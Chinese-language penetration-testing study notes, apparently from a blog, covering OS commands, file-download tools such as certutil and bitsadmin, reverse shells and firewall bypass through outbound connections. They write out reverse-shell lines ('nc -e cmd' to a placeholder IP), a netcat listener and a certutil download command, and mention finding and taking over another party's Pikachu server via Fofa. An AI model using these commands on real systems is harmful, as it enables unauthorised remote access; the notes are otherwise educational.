操作系统_名词_文件下载_反弹SHELL_防火墙绕过

操作系统

操作系统-用途&命令&权限&用户&防火墙

1、个人计算机&服务器用机

2、windows&Linux常见命令

3、文件权限&服务权限&用户权限

4、系统用户&用户组&服务用户等分类

5、自带防火墙出站&入站规则策略协议

实用案例1:文件上传下载-解决无图形化&解决数据传输

Linux:wget curl python ruby perl java等

Windows: Powershell Certutil Bitsadmin msiexec mshta rundll32等

实用案例2:反弹Shell命令-解决数据回显&解决数据通讯(反弹就是将权限给别人)

useradd passwd

测试Linux系统添加用户或修改命令交互回显

结合案例1:防火墙绕过-正向链接&反向链接&内网服务器

1、内网:

内网->用户

nc -e cmd ip地址 端口

就是把本机的cmd权限给这个ip的窗口

nc -lvvp 监听的端口号

2.防火墙

服务器主机<->另一个服务器主机

如果开了防火墙,是不行的

入站严格出站宽松

nc -e cmd ip地址 端口(就是正向链接)

主动把权限给出去

反向链接就是别人找你

结合案例-Fofa拿下同行Pikachu服务器

文件下载&反弹shell:

certuil -urlcache -split -f ip地址

nc -e cmd ip地址

找个在线的靶场

相关推荐
世人万千丶7 分钟前
去重插入与超限淘汰:ArkTS 实现鸿蒙搜索历史的 LIMIT 艺术
运维·服务器·学习·华为·harmonyos·鸿蒙
2601_949950631 小时前
在线练题更方便,用练题簿打造属于自己的移动题库
学习·考研·刷题·小程序推荐
woshihuanglaoshi2 小时前
十二商品二十流水:鸿蒙进销存种子数据装满预警看板
学习·华为·harmonyos
MartinYeung53 小时前
[论文学习]ProAct:针对LLM越狱的主动防禦框架
网络·学习·安全
weixin_431600443 小时前
NestJS 入门(10):日志——为什么常用 Winston?
后端·学习·日志·nest.js·winston
何事误红尘3 小时前
ZYNQ学习ARM裸机笔记():VITIS
学习
不懂的浪漫4 小时前
吴恩达《AI Engineering Skills Map》译读:四项核心能力与持续学习底座
人工智能·学习
蒸蒸yyyyzwd5 小时前
cpp选手秋招准备 学习笔记day7 webserver
笔记·学习
lifallen5 小时前
DeepSeek Harness:把 Agent 做成可替换的运行时插件树
人工智能·学习·ai·开源软件·ai编程
自学机械人的小白ing6 小时前
深度学习系统学习
人工智能·深度学习·学习